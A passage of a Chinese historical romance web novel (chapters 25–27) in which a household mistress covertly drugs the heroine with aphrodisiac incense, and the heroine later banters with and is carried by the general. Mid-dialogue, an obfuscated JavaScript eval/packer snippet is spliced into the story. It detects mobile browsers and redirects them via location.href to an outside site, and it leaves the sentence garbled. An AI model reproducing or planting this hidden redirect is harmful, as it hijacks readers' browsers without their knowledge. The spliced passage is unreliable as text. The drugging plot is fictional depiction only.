沈昭本就请托于人,自然不会逼迫,况且这茶饮还未引入长安,茶树便更不急于一时。 茶树探讨暂时搁置,两人竟一时无言,念着快到晚膳时辰,出于礼貌,沈昭问道:“高公子若是无事,不如留下用饭,或者我们出去吃,感谢你费心费力帮我培育茶树。” “谢姑娘不必如此客气,于我而言不过举手之劳。”高义信婉拒的话刚说出口,外面便急匆匆走进一个婢女,对他们福了福身子,“高公子,夫人听闻您入府,邀您一同留下用膳。” 长辈之请,他自当不好拒绝,只道:“那先谢过夫人了。” 李立雯听下人来报,高义信入府寻谢怀瑾时,初闻气急,她占了怀瑾的身份,连怀瑾的亲事也要横插一脚,但她转瞬又生一念。 她不能看珩儿一错再错,今日之事太过突然,哪怕她心中有千万个设想,独独没料到谢珩会伙同外人一起骗她。 她亦顾及不了太多,既然他们不择手段,也莫怪她出此下策了。 —— 谢珩同高峻分开后,独自回了左衙,高峻所言于他心中久久激荡,他静坐在桌前消化,脸上的绯色却迟迟不褪,怀中高峻相赠之物如一块烙铁,灼得他心头发烫。 “将军,有急报。”金吾卫扯下信鸽脚上绑着的信笺,呈到他眼前。 若是将他与沈昭之事公开,他需得先处理好她的身份,真正的谢怀瑾生死不明,他等不到寻回她那日了,亦不想继续偷摸遮掩。 这几日,他计划着如何向母亲道明事情原委,能获她谅解。 一切原是他当初的私心,为了稳住祖母的病情,才让沈昭假扮他妹妹入府,亦是他先忘了礼数和分寸动情,但他仍忧心母亲会将此事怪罪在沈昭身上。 而他得到的这份急报恰巧又给他带了一线希望。 自御风家中财物失窃,他去黑市探查无果时,便让人特别留意周围当铺或市集中的货物流动,御风之物大多来自宫中御赐,若在世面流传,便可顺藤摸瓜,找到幕后黑手。 随着夏目将那枚金簪出手典当,御风之死亦渐渐有了眉目,他传令下去:“让人去查是何人将此物当了,务必要小心,切莫打草惊蛇。” 他又问向另一方跟着惊云的人马:“这几日惊云行踪如何?” “大人,我们一直跟着他,除了今晨,路上遇到几个无赖,阻了我们的路,一时跟丢了,不过很快我们又在兴庆街发现他,一直跟着并无异常。” 谢珩微眯起眼眸,这金簪在数十里之外的当铺发现,惊云身在长安,看似其中并无关联,但亦不可大意,他吩咐道:“继续跟着。” “是。” “算了,备马,我亲自去一趟。”他曾答应过沈昭会彻查御风的死因,哪怕不为着她,他也会给死去的御风一个交代,怕来往书信不便,误了时机,还是他亲自去稳妥些。 —— 李立雯让厨房备好菜,谋划得当后,匆匆赶去前厅。 适时,沈昭还同高义信就茶树一事继续商议,见她而来,两人纷纷起身。 “母亲。” “夫人,突然造访,是晚辈唐突了。” 李立雯径自坐在主座,当家主母的威仪赫赫,脸上虽带着笑意,却令人莫名心慌:“哪里的话,都是自家孩子,你们愿意常来走动走动,我自是再高兴不过了。” 明明还是同样的音容笑貌,依旧亲切地唤她瑾儿,可沈昭却胸口憋闷,觉得母亲今日同往常有所不同。 李立雯并未同她多言,对一旁的婢女眨眨眼,婢女恭敬地为高义信奉上一碗清饮:“这儿天凉了,喝些热的暖暖身子。” 只见这婢女只奉上一盏,高义信虽知不妥,但既在他人府中作客,他自不便多语,笑着应下,端起茶盏抿了一口,只比普通清水多了几分酸涩,并不可口。 沈昭端直身子,眼眸去向他那方斜斜看去,暗道:什么好喝的,竟舍不得多备一份。 婢女垂眼看着他茶盏中并无明显变化,对李立雯以眼神回之。 心领神会后,李立雯又道:“高公子可是不喜这口?” “并非,自是极好。”他仿若被夫子盯着的学童般,重话都不敢说一句,复又端起桌上的杯盏,一饮而尽。 如此,李立雯才彻底放心,高家同谢家同气连枝,她自不会对高义信不利,是以先施计让他饮下解药。 三人说说笑笑一同入座,李立雯只留下了体己的一位丫鬟,遣散了其他家仆,将春宁和夏安暂时安排出府采买,并吩咐任何人不得靠近后院,她们两人亦先服下催情香的解药。 丫鬟悄悄在一旁燃香,无色无味的香,只有一星光亮燃着,席间李立雯对她一如往常,沈昭收心,许是她一时胡思乱想罢了。 高义信拘束得很,并没有多吃,只一味笑着应和。 李立雯入席之前,思索良久,这骗子虽有错,但她入府后,毕竟着实令王府焕然一新,别的不论,老夫人的身子康健亦有她的一份功劳,珩儿念着她,她不欲将事做得太难堪。 总归催情香已下,哪怕没发生任何事,她亦百口莫辩。 用晚膳后,李立雯提议道:“高公子,我听闻你自小琴棋书画俱佳,不如同瑾儿手谈几局,指导一番。” 还不等他开口,沈昭先拒绝道:“不用了吧,母亲,我没有任何根基,只识得黑白两子,若真由高公子教我,怕是要把他气晕过去,何必耽误他的功夫呢。” 李立雯剜了她一眼,示意她噤声,只笑对着高义信。 她知高义信不会拒绝。 “承蒙夫人抬举,我亦只是懂个皮毛,可与谢姑娘下几局。”高义信说道。 李立雯笑着点头,命丫鬟端来棋盘棋子,送到沈昭的房间。 两人一时愣怔,高义信自知不妥,他怎可轻易踏足女子的闺房,这于礼不合,哪怕他仍然心中对她有意,但她已婉拒在先。 当他再去寻时,李立雯早回了房间,院中只余他们两人。 沈昭虽本不介意,但在长安城这几月,耳濡目染的熏陶中,亦知道此举不对,李立雯何至逼迫至此? 丫鬟伶俐地将棋盘棋子放在她闺房的桌上,逃似的离开了,但暗中并未走远,只躲在转角处,寻着时机,待药性发作,她将小姐关在屋内,借故引高义信离开。 毕竟母女一场,李立雯不想做得太难堪。 当下,高义信进退维谷,手攒紧攥住衣袍,如水的缎子几乎被他揉捻出一层层褶皱。 天色渐暗,他更有些不知所措。 沈昭解了他的尴尬,进屋拿出棋盘放置于院中的石桌上,饶是借着月色对弈也不能陷这他于困境。 但她此刻心中不安,春宁和夏安怎的一直未见:“高公子,天色尚早,不如我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787754|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们在院中下几局吧。” “好。”高义信退了半步,撩袍入座。 沈昭不会下棋,心思不在其上,她暗暗观察周围一切,虽是后院,但平日有不少仆从婢女走动,可他们对弈的这段时间,莫说是人连只鸟都不见。 明明已过了盛夏,入了秋,可她却觉得格外燥热,体内的一股火沿着她全身血脉游走,灼得她微喘着气。 她莫名地想见谢珩,同他分开还不到一日,甚至上次分开她还带着气,可她就是想见他。 瞧着棋盘上黑白分明的棋子,却恍神仿佛看到他那双黑白分明的眸子,饱含深情地凝着她。 温热软滑的唇齿相接,她竟不自觉眯起眼眸,好似沉醉在他的怀中。 她口干得很,抬眸看到眼前高义信的浅唇,竟不觉想贴上去。 她猛地打了个激灵,察觉到事情不对,她竟对高义信有了非分之想。 李立雯会对她用毒么? 高义信见她迟迟不动,观她脸色愈发红润,关切问道:“谢姑娘,若是你身子不适,我们改日再下亦可。” 她身上忽冷忽热,一瞬好似如坠冰窟,冻得她忍不住裹紧衣裙,转瞬又仿佛沐浴在火海中,燥热难耐,全身都被这热火融化,越是反差,这热浪来得更凶。 她的手紧紧攥住身前的衣襟,颤抖着几欲将其撕碎。 “快走!”沈昭艰难说出几个字,生怕再迟一步酿出大祸,她支着身子拼尽最后一丝理智,径自往房中走。 “谢姑娘,要不要去请大夫?”见她脸色不对,身子都微微颤抖,关切之意一时大过君子之礼。 门扉大开,他本欲扶她进屋坐下,可沈昭却紧紧握着他的手臂,并未松开。 丫鬟在旁看得真切,心里着急的很,她记着夫人的安排,得先让小姐进屋后,她再悄声将门锁上,可事出突然,竟是高公子陪着一同入内了,她攥着手里的门锁不知该如何,犹豫间两人已入了房中。 沈昭抬手去抓桌上的杯盏,去浇灭身上的火,可茶壶空空,哪怕倒转过来仍未落下一滴。 高义信见状,忙说道:“谢姑娘,你稍候,我去倒水。” 可是她等不及了,她双腿软的不像她自己的,周遭的空气仿佛勾人的香,每吸入一口,她身体便多一分燥热,她的意识渐渐模糊,眼前浮现凌乱破碎的画面——温热的手掌扶过她的腰肢,炽热的呼吸烫在她颈侧,还有那些未发生的不可言说的亲密。 “谢姑娘,”见她瘫软在地,高义信上前去扶她,却被她反握住,口中言语化作唇间娇嗔的呻吟,挤出两个字:“快走。” 高义信瞬间被冻在原地,眼前人身上的甜香充盈在房内的每一个角落,将他包裹,他脑中嗡得空白一片,怔愣在原地。 他从未见过女子如此情态,还是他心仪之人,他一时慌了手脚,沈昭的柔夷攀在他手臂上,他忍着不去看,可那寸隔着衣衫都能感到的温软,让他慌了神,脖颈间霎时红透了。 突觉颈后一计刺痛,他眼前一黑,被身后的大手紧紧拖住,倒下的瞬间未碰到身下的沈昭分毫。 谢珩本带了人手快马加鞭前往隔壁州府,路过西市时,众人吃饭暂歇。 一笼笼包子散着热气,白嫩嫩地鼓起,经手一触又饱满地迅速弹回。 萦绕在他鼻息间的不是包子的肉香,反而是沈昭身上的甜香,他脑中霎时浮现她气鼓鼓将他推开的模样。 在金吾卫用饭的间隙,他回了一趟国公府,本欲将高峻的事告诉沈昭,让她暂且宽心,高峻嘴硬心软只怕动心了亦不自知,公主的事还有转机。 刚行至内院,却见一个丫鬟鬼鬼祟祟躲在转角处,向内张望,他直接拎着她来到沈昭房内,却见眼前一幕。 “少、少爷...”丫鬟怔在原地,进退不能。 谢珩不知高义信提前服下解药,一把揪住他的衣领,寻了旁边的一个房间,将他扔了进去,又抬眸看向一旁的丫鬟。 他的目光恍若一把冷枪,直直射过来,丫鬟慌得跪在地上:“少爷,是夫人的安排,我...夫人只是让我把门锁上。” 谢珩眼眸中像淬着寒冰,从牙缝出咬出几个字:“那便依着母亲安排回禀,今日之事若敢声张,形同此物。”说着挥剑削去锦帘一角,破碎的半块织锦缓缓落地。 “是,奴婢不敢。”丫鬟俯下身子不住地磕头,谢珩夺过她手中的锁,将她关在另一处,同高义信分隔开。 沈昭猛地咬住舌尖,强行逼着自己寻回理智,一股甜腥在唇舌间弥漫,却丝毫不减喉间的干热,体内的热意仍奔涌不息,她目光发花,却模糊中听到谢珩的声音。 如溺水之人抓住浮木一般,她扯着眼前深色虚影,试探道:“谢珩?” “别怕,有我在。” 26-30 第26章 霎时间,万籁俱寂。 谢珩愣在原地,本就白净的面庞迅速染上两抹绯红。 这触感来得太急,又太轻,恍若院墙绽放的海棠花被风拂落,不经意间擦过唇畔,果子酒的甜香混着她身上淡淡的茉莉花油的气息,钻入他的鼻息,香气醉得人神思恍惚。 她唇上残留的酒液,甜中带涩,倒比他喝过的烈酒更醉人。 胸腔里似有火在烧,只觉得全身血气翻涌,耳中嗡嗡作响,似有千百只夏蝉在颅内齐鸣,他下意识后退,全身却像被点了穴位般,动弹不得。 他垂眸看见她醉眼半闭半阖,轻颤的睫毛在月光下洒下蝶翅般的影,在玉白的脸颊上投下淡青的痕,眸中潋滟的秋水隐去了三分。 眉心一点的花钿被水抹掉艳色,酒气氤氲染上她双颊,倒比妆奁里的胭脂还多了几丝秾丽,红晕自眼尾晕开,渐渐染透雪腮,衬得整张芙蓉面像浸在朦胧光晕中。 他该推开她的,可钳住她手腕的手却不觉发力,抚在她腰间的手却背叛了理智。 五指不自觉收拢,将她浅色的罗衣攥出深深的褶皱。 —— 翌日,因着昨晚河边闹得动静太大,高坤一早带着高家兄弟备厚礼登门致歉。 此时,沈昭还睡在床榻上,李立雯已派人催过一次,春宁和夏安终是狠狠心,在床榻边用力将其摇醒:“小姐,快醒醒。” 刺眼的光透过纱帐落在她脸上,沈昭不由得眯起眸子,翻了个身:“谁啊,我再睡会。” “小姐,老夫人来啦!”夏安趴到她耳畔大喊。 老夫人是谁?来就来吧。 她用手扯过一旁的锦被,腿蛮横地压在上面。 忽而猛地惊醒,她睁开眼从床上坐起,手忙脚乱:“老夫人,快!我今日还忘了去请安,现在什么时辰了?” 她的头重如铅灌,只能用手柔压着太阳穴,腿却听话地去探床榻旁的绣鞋。 春宁扶她起身:“小姐莫急,不是老夫人,是夫人来催过一次,高家两位公子在前厅候着呢。” 高家公子? 沈昭回忆着昨晚的事,她同公主和高家兄弟夜游花船,后来旁边有一只花船起火,一个花童落水,然后是谢珩。 她的记忆闪回到逼仄的街巷,她下意识扶上自己的唇,应该是做梦吧。 但她怎会做这样的梦,谢珩虽不是他亲哥,但却是亲老板! 她摸着自己的腰,梦中那双修长的手曾紧紧圈住她,低头看了眼身上的衣服,问道:“昨夜我是怎么回府的?” “小姐,昨夜是少爷唤我们将你扶回来的,”她们二人昨夜赶到时,沈昭趴在石桌上睡得正香,披着少爷的披风,只是浑身都湿透了,就连披风都被水渍浸湿,少爷则背身在一旁守着。 回来后她醉得不省人事,两个婢女帮她沐洗、换衣。 那一定是梦了! 来不及去理清昨夜的事,她匆匆梳洗完后,又服下一碗醒酒汤,及至前厅时,高坤因着公务在身已经带着俩兄弟先回了。 沈昭低着头,与世家公子醉酒划拳,还不慎落水,她想也不敢想,老夫人和夫人该气成何样。 她大气不敢喘,缓缓上前。 老夫人高坐在上,瞧着沈昭嘴唇还泛着白,心疼道:“快上前给我看看,没着凉吧,我吩咐厨房备下姜汤,一会用过早膳再喝些,暖暖身子。” 沈昭不敢置信地抬眸,对上她慈爱的神情,不由得眼眶红了,伸着手走上前,俯身在她身前:“劳祖母惦记,是我不对,昨夜一时忘了分寸。” 老夫人念着她刚回府,不忍苛责,高峻名声在外,定是他将自己的乖孩儿带偏了,怀瑾虽然性子活泼但断不会任意随性,只不过一时盛情难却,又不敢开口拒绝罢了,满心满眼都是心疼。 谁人不曾年轻过,她不由得记起自己像瑾儿这么大时,酒量并不弱于寻常男子,只可惜如今不比当年了。 老夫人安抚沈昭半晌,临回房前不忘嘱咐李立雯:“事出有因,瑾儿不顾危险能舍身救人,是我谢家的好孩子,既然高家有意,此事切莫深究了。” “是,阿姑,您放心。”李立雯应下,但待老夫人走远后,她方才在外人面前维持的仪态瞬时崩塌,气得身子不由得发颤,随侍的婢女将她扶着坐下。 沈昭登时膝盖一软,跪在地上,老夫人同她隔代亲,但李立雯却比她严厉些,又曾是金尊玉贵的公主,哪能忍她如此此出格:“还请母亲责罚。” “你”李立雯被气得捂住胸口,她本不想用规矩约她过甚。 自她夫君亡故、瑾儿失踪后,她便将全部心血寄托于谢珩身上。 其他孩童玩乐时,只有谢珩把自己锁在屋内,将一本本书页翻皱,小小年纪手上就因练武便附了一层薄茧,哪怕发着高热也不敢对她明说,只埋头苦练。 幼时还会撒娇伸着小手求她抱抱,但身量渐长,与她的交谈却越来越少。 因此瑾儿回府,她知她性子活泼,本不想重蹈珩儿的覆辙,可是她竟深夜醉酒,闹得满城风雨。 但幸好高家有意结亲,倒算是误打误撞成了一门喜事。 她浅叹一声:“罢了,你在外多年耽误了课业,现今回府了,就多沉下心思,学些礼仪,好生养养性子,王管家,去少爷书房拿些书给小姐看。” 此刻再去论是非对错并无意义,总归李立雯舍不得真责罚她,逞一时之气只图个短暂痛快,她拿人钱财,可是为了宽解她和老夫人,可不为着惹怒她们,看书便看书。 沈昭连声应下,春宁和夏安随王管家去秉正堂取书。 王管家有心向着她,本想选几个话本,但谢珩从不看那些杂书,只得挑挑拣拣选了几本诗册雅集着她们带走了。 谢珩一早去了左衙,对昨夜发生的事收尾后,回了国公府。他先探望祖母,祖母笑盈盈地将高家之事说与他听:“我瞧着高家二郎甚好,怕突然提议唐突了瑾儿,还让我们暂时先莫声张,如此周全识礼的人,若是瑾儿嫁给她,定不会受到亏待。” 谢珩面上肃然,他虽知高义信对沈昭有意,但当两家人将此事摆在明面上时,那把悬在头上无形的剑,终是凛然向他直直落下。 他亦不记得自己是如何走回书房,家丁及时上前禀告:“少爷,今晨夫人让管家取几本书送给小姐看,从您这里拿了三本。” “嗯。”他闻言,带着杨方去寻沈昭。 雕花窗前,一本诗集斜斜地靠着,沈昭趴在桌前,用头顶着书册,夏安心大,得了闲缩在屋里绣荷包,春宁担心小姐,拿着纸扇轻扇,在旁侍奉。 母亲对她仍算宽恕,虽然嘴上要罚,但既没强求她抄书,又没安排人查她,到底是心疼她刚回府,不舍逼她太紧,她粗粗把书册上的插画看遍,只觉无趣,但为着母亲在府内的面子,总要多少装装样子。 “少爷。”春宁透过窗柩看到谢珩和杨方同行而来,恭敬执礼道。 沈昭抬头,书从她脸上滑落,正对上谢珩的眼眸,从他的深瞳中可清晰看到她的身影,她慌乱的将书扶起,把自己挡了个严实。 但又纳罕,她为何要下意识躲他? 细长的指节搭在书上,沈昭旋即两手攥紧书角,头低的更甚。 “书拿反了。”谢珩的声音从头上悠悠传来。 沈昭这才认真看清书上的画,湖中鱼儿竟游到天上去了,那两截指节松开,她将书转了一圈:“请兄长莫打扰我看书。” 耳朵却下意识伸长,暗暗听着窗外的动静,脚步声却渐近,她的心不由得慌了。 不过是个梦罢了,想想还不行么,何况他又不知。但那梦中的场景实在太真,她的耳廓不禁染上一抹艳色,喉间弥散着一股干热。 待听得门被关上的声响后,她扭头回看,春宁已然不在房内,只有谢珩一人坐在桌旁,手里端着杯盏,杨方则垂首立于檐下。 她用手将窗户推得大开:“对了,昨夜多谢你出手相救,多谢多谢” 怕什么,她又没做亏心事,何必如此畏缩,她在心中安慰自己。 她挺直腰背,走到桌旁给自己倒了杯水:“我还有书要看,便不留兄长了。” “昨夜之事,你都忘了?”谢珩突然开口。 沈昭猛地咳嗽几声,被润在喉间的水呛到:“当然记得,昨夜大伙儿心情好,何况果子酒不醉人,我便多喝了几杯,只是谁知后来花船起火,幸好兄长在附近巡值,救百姓于水火,咱们长安城真的不能没有金吾卫。” 她说完又灌了一大口水,却悄悄抬眸观其神色,并无异常,那昨夜便是梦了,否则,他只怕早将剑架在她脖子上了。 谢珩却直截了当:“小酌怡情,大酌伤身,这句话倒也不假,沈姑娘昨夜喝得醉了,醉得竟连一些琐事忘得干净。” 琐事二字被他狠狠咬出。 “对了,那个花童应该无恙了吧,我记得她吐出水了,不知有没有去看过大夫。”她虚虚记得那花童哭得声色凄厉,嗓音如此嘹亮,不像有事。 昨夜之事如断开的画,在她脑中一一闪回,她却唯独不提暗巷中两人身影痴|缠的那一幕。 概因那只是梦吧。 谢珩却不欲同她多绕,直言说道:“沈姑娘昨夜醉酒,亲我是为何故?” “噗——” 水渍呛出,洒了衣襟,沈昭顾不得擦拭,睁大双眼望向语出惊人的谢珩。 那双阴晴不定的眸子,此刻正含着她从未见过的神色凝着她。 她唇齿瓮动,登时一片空白,“亲我是为何故?”如惊雷在她脑中炸开,那那梦中的柔软触感竟是真的。 她声音细如蚊呐:“其实” 谢珩低垂眼眸,等她的回应。 沈昭:“其实,这是感谢!在九州,这是我们表达感谢的一种方式。” “哦?”谢珩挑眉望着她,斟酌其中真假。 “自我入府,你和府中所有人待我极好,那日套圈亦是,所以我对你心怀感激,若直接言明未免生分,昨日因着酒劲就表示了,就是如此简单。” 谢珩淡淡道:“我竟不知还有如此神迹,竟有这么多奇怪的规矩和礼节,那若你承的情多了,整个长安城的人岂不是都得被你感谢一下?” 沈昭努力说服自己:“正因如此,所以想入我们九州,要求甚严,不过是你孤陋寡闻罢了,比如拥抱,这等亲密接触是不是只限于夫妇、亲眷?在九州,拥抱可表达喜悦、安慰、信任、陪伴与交付,无论是知己朋友、亲眷、夫妇,甚至素不相识之人都可,这能一样么?” 见谢珩并未急着反驳,沈昭一时抓到话柄:“那又如在长安,婚嫁全凭父母之命媒妁之言,你们结亲尚有可以选择的权利,御风和严元清两人彼此心意相投亦算缘分, 可对另外一些人而言,她们在出嫁前并不知自己要嫁之人的品行、相貌,但在九州却并非如此,男女之间自由相处,若是两厢情愿,彼此再见过双方父母,约定婚嫁之事。” 谢珩不置可否,她行事一向出格,自见过她在母亲面前冒充谢怀瑾入府时,编造的谎言,他对她的话便不敢全信。 但她所言听起来像无稽之谈,倒亦有几分道理。 沈昭见他默不作声,继续道:“又如,你应该不会拒绝你母亲为你相看的婚事,哪怕这个女子你对她并无多少感情,只是不讨厌,甚至哪怕讨厌,也会接受。” “岂会,”谢珩出言打断,“我自是不会随意娶一个我不喜的女子。” “?” 沈昭心中一惊,上次他不信誓旦旦:婚嫁之事全凭母亲作主,这是有喜欢的姑娘了? 但总归不是她该操的心,既然李玥对高峻有意,免不了以后他们还要经常同游:“我们不论这个,习俗不同,互相尊重便好,但公主刚同高家兄弟相熟,日后我定会陪他们常常外出,不过你放心,我一定小心行事,不会再出现昨夜之举。” 谢珩听她绕了一圈,总归依旧得同高义信亲近,他直言道:“高家二郎虽然样貌尚可,但他只任一闲职,且生性喜欢侍弄花草,恐难托付终身。” 沈昭不想同他解释过多,公主的事还需保密,既然谢珩误会李玥对高义信有意那姑且先误会着。 至于她,她有朝一日肯定会离开国公府,自然不会同这些公子有感情上的牵扯,不过礼尚往来罢了,嘴上傅衍应道:“好好好,都听兄长的。” 听到花花草草,她突然灵光一闪,也许长安城茶树一事可以向高义信请教一二。 她一门心思谋划,全然未注意到谢珩听她应下“高义信难以托付”时嘴角扬起的弧度。 —— 长乐公主李玥昨夜被谢珩的人秘密护送回宫,并未引起太大的动静,是以除了沈昭和高家兄弟几人,旁人并不知道她也牵涉其中。 她精心地将高峻送的那束花摆到青玉瓷瓶中,一支支细细修剪,颇为耐心。 采薇昨夜吓得半宿无眠,待侍奉的宫人退下后,她走到李玥身旁悄声说:“公主,昨夜真是吓坏奴婢了,您若喜欢高家公子,为何不求圣上下旨呢,何必如此费心同他接触,若是再发生昨夜之事,惊动了圣上,奴婢可是有一百个头都不够圣上砍的。” 昨夜谢怀瑾落水后,李玥虽然受了些惊吓,但见谢珩赶来,便知定会无事,她又借着今早诊平安脉时,向太医院多要了补品,准备一会给瑾姐姐送去。 她的眼中藏不住笑意:“采薇,你不懂,话本上说了,男女相处最好之时便是两人彼此心意相通,但又在说媒下聘之前,何况我整日在宫中甚是无聊,我喜欢同他们一道。” —— “胡闹!”高坤一手拍在桌面上,震得桌上的青瓷盏忽地一跳,高家兄弟二人跪在堂下,他指着高义信:“你说说你,你哥他平日风流惯了,没个定性,怎的你如今亦同他一样混了。” 高峻虽不成器,但高坤却对他颇为重视,又加上高义信性子本就淡泊,不争不抢,每每高峻闯祸总有他在后兜底,从小到大跟在后面受训。 高义信只低头认错:“是我大意了,父亲息怒。” “父亲,都是我提议的,这次是我错了。”高峻在一旁插嘴。 高坤:“闭嘴!若是公主有个闪失,高家上上下下全得折在你们手里。” 高坤一早派人去宫内打听,索性谢珩办事妥当,将长乐公主安全送回,没有传到景明帝那。 “老爷,别气了,伤了身子不值,义信自小沉稳,有他在不会出大事的,宫里不也没有任何动静么?”他们的母亲在一旁劝道,扶着高坤坐下。 “何况,峻儿和义信也到了议亲年岁了,多同同辈接触是好事,我瞧着谢家那丫头伶俐讨喜,同义信正好性子互补,若义信娶了她,也是我们高家的福气。” 高坤气得坐在一旁不愿多言。 母亲劝道:“峻儿你平日得多同你弟弟和谢珩学学,若是无事多看些书静心修身,过几日长安城有个诗会,可莫丢了高家的脸面。” “是。”两兄弟齐声应下,暂被关在家中闭门三日,亦是为着诗会准备。 诗会名义上以文会友,但近年逐渐成为长安城中结交权贵的一种方式,虽是小打小闹,但高家重面子,何事不愿屈居人下。 沈昭听闻高家兄弟被禁足,她则美美地在府里休整了几天,整日陪着祖母逛逛花园,看看闲书,加上公主特意从宫中给她送去的补品,将养得极好,身上的肉都添了许多。 谢珩则又日复一日巡值,偶尔出府时,碰见在园中闲逛的沈昭时,她会弯着笑眼,同他招手:“兄长,早点回家。” —— “别打瞌睡了,白天睡晚上睡,让我睡会,你看着点,”一名金吾卫用手肘捅向身旁的人,刚靠墙阖上眼,又被摇起来,“将军来了!” 两人持刀站立,眼睛瞪得像铜铃,精神百倍,声如洪钟:“谢将军!” “嗯。”谢珩应声入内。 两人扯着脖子看向他的背影:“你说说,将军怎么近日如此开心,我平日从未见他笑过,同样当值,为何你老哭丧着脸。” 另一人冷嗤一声:“晋国公府寻回了失散多年的小姐,将军一家团聚,自然开心咯。” 第27章 李玥在宫内听闻高家兄弟被禁足后,怕徒给他们增添烦忧,概因此事可大可小,并不敢声张,一直盼着他们能出府的日子,她派出去的侍卫探听回禀:“今日见高峻公子一早出门了。” “真的。”李玥喜悦地差点跳起,“快,你将这封信送去给谢家小姐。” 沈昭收到信后,因着上次的事,李立雯的气刚消不久,更不敢光明正大主动招惹高家那两位了。 只得去拜托谢珩,她做了半天心里建设,本以为又得巧言哄骗一番,但不料谢珩同之前严词拒绝不同,竟答应爽快了。 两日后。 天蒙上一层灰色,远方的云乌压压弥漫苍穹。 李玥出宫前,采薇曾小心说道:“公主,非要今日出城不可么,今儿天色不好。” “无事,这雨不会下大,何况我又不是赤脚走去,坐着马车没事,你在宫里等着吧,不必随行。”李玥吩咐好宫内事,只带了几名侍卫和内侍随行。 未久,沈昭、李玥、高峻还有谢珩一同坐在出城的马车上。 沈昭主动问道;“高义信呢,你们一同被罚,怎的只有你得空可以出来?” “父亲看他甚严,过几日的诗会对他寄予厚望,他在家温书呢。”说罢无奈的摇摇头,言语中全是同情。 “那兄长你今日为何得空,一起出城”沈昭看向一旁的谢珩,她只让其帮忙递拜帖,可没邀他同行。 谢珩开口:“上次你们闹出这么大的动静,今日我随行是为着公主和你们的安危。” 话虽确有几分道理,但沈昭总暗觉得奇怪。 高峻轻易看穿他的心思,不过是为了防着他宝贝妹妹被他弟弟拐走罢了,往日不见他有如此好的心绪,若不是他在拜帖中夹了几篇诗文请父亲指教,义信又怎会被父亲拿他比较,把他关在房中不能出门。 但总归高家同谢家结亲已是板上钉钉的事,倒也不急于这一时半刻。 因着上次的事,李玥心有余悸,所以这次特选了城外的灵山寺,灵山寺香火正盛,犹以一颗百年古槐扬名,每年不乏适龄男女前去求好姻缘,今日虽然天气不佳,倒也是好事,前去的香客自然不多。 马车刚到城门,便淅淅沥沥下起雨,俄而,雨越下越大,砸在车顶之上,噼啪声渐起。 沈昭挑开车帷向外望,远山浸在雨雾中,上下一白。 路途变得泥泞,马车行使得愈发缓慢,及至缓坡时,需由公主随行的侍卫、内侍一同推车,才能继续前行。 幸好待他们到达灵山寺时,雨势渐渐小了。 灵山寺前的积水已没至膝盖,因着他们四人同乘一辆,车上只带了轻便小巧的车凳,将其置于地上,很快被水淹没,且泥淖湿滑不平,车凳不稳。 李玥撩起车帘,绵密的雨丝织成薄薄的水帘,侍卫撑伞上前覆在她头顶上。 内侍自然地躬身俯于地上,手陷于泥地里,伏地为鞍,李玥和高峻由侍卫扶着下车,矜贵优雅,身上衣裙也完好无虞,连下摆都未曾沾到一丝水痕。 李玥和高峻站在檐下,轻拍着发丝间漫上的水气,回头喊她:“瑾姐姐,快些,一会若是雨大便更不好走了。” 灵山寺常举办皇室祭天、祈福等活动,寺里的沙弥见宫内车驾,上前相迎:“公主万福。” 李玥和高峻颔首回应,被寺中僧人先一步引入内。 细雨中,那群内侍仍跪俯在地上,未得公主命令,还没起身。 他们半张脸沉于泥水中,霎时身上就湿透了,虽偶尔仰头唤气,但身子却不动如山,稳如平地。 沈昭犹豫着伸出脚,古代阶级森严,她并非不知,但知道同亲眼见过,亲自去试又是另一回事。 她作为谢家小姐,亦得过不少优待,李玥她们的生活环境于此,这些细枝末节的事对她们来说司空见惯,她自没有资格去指摘,但若真让她将人视作物件,她终究过不了心头那倒坎。 沈昭俯下身子,对他们说道:“你们起来吧,我自己过去。” 内侍们的身子蜷了蜷,但仍埋下头,没敢起身。 沈昭大喊道:“快起来,你们无需侍奉我。” 他们对视一眼,而后悠悠弓起身子,从泥水里爬起,怕污了贵人衣裙,忙退到檐下候着了。 她接过侍卫手中的伞,将伞斜倚在一旁撑着。 待他们散去,坐于车前,而后将腿蜷起,大大咧咧地准备褪下罗袜。 反正四下无人,她也没太多讲究,她撩起衣裙,淌水过去就好。 “你在作何?”她的指尖刚扯上袜带,身后响起谢珩的声音,吓得她差点将手里的另一只罗袜丢掉,一时竟忘了马车里还有一个人。 沈昭拎着手里的罗袜:“我去灵山寺啊。” 反正他会武功,飞过去便可,她只能走过去。 一截莹白的脚踝裸露在外,还挂着细密的水珠,谢珩忙将视线收回:“快穿上,你若蹚水过去,身上染了泥污,这灵山寺未必有合适的换洗衣衫,万一不慎蹭到公主身上呢?” 沈昭无奈暗道:规矩太多了,一时进退不得。 她将罗袜套上:“那你同公主说,我等这里的积水散一些再进去吧。” 谢珩并未言语,躬身走出马车,身上很快落下一层水雾,向她靠近几步。 沈昭将腿缩回,忆起那夜被他一手扔上马的场景,五脏六腑差点都颠出来。她垂眼瞥了瞥旁边的门匾,这个距离他若把自己扔到一旁的青石台上,应该不算难事,她紧紧抱住自己的肩膀:“你别把我扔过去,到时候我衣裙更湿了。” 谢珩略过她,踏出一脚踩稳车凳,混着泥土的污水瞬间漫过他的鞋面,他回身将一旁的伞递给沈昭:“拿着,”转身背对着她*蹲下,宽阔的脊背斜置,因着被雨打湿,紧绷的肌肉线条清晰可见:“上来吧,我背你过去。” 他身上的圆领袍很快被雨水打湿,但身姿仍挺拔如松,腰间剑柄上缠着的红色绸带,在雨幕中格外醒目。 见他岿然不动站于水中,等她的动作,她也不扭捏,反正亲都亲过了。 何况兄长背妹妹过河,不算逾矩。 沈昭没多作犹豫,将手搭在他肩上,小心翼翼地趴上他的背,湿气氤氲,但他温热的气息却瞬间包围了她,隔着湿透的衣衫,她能清晰感受到他背部肌肉的起伏。 “抓紧。”谢珩声音微哑,双手握拳托住她的腿弯,稳步踏入泥水之中。 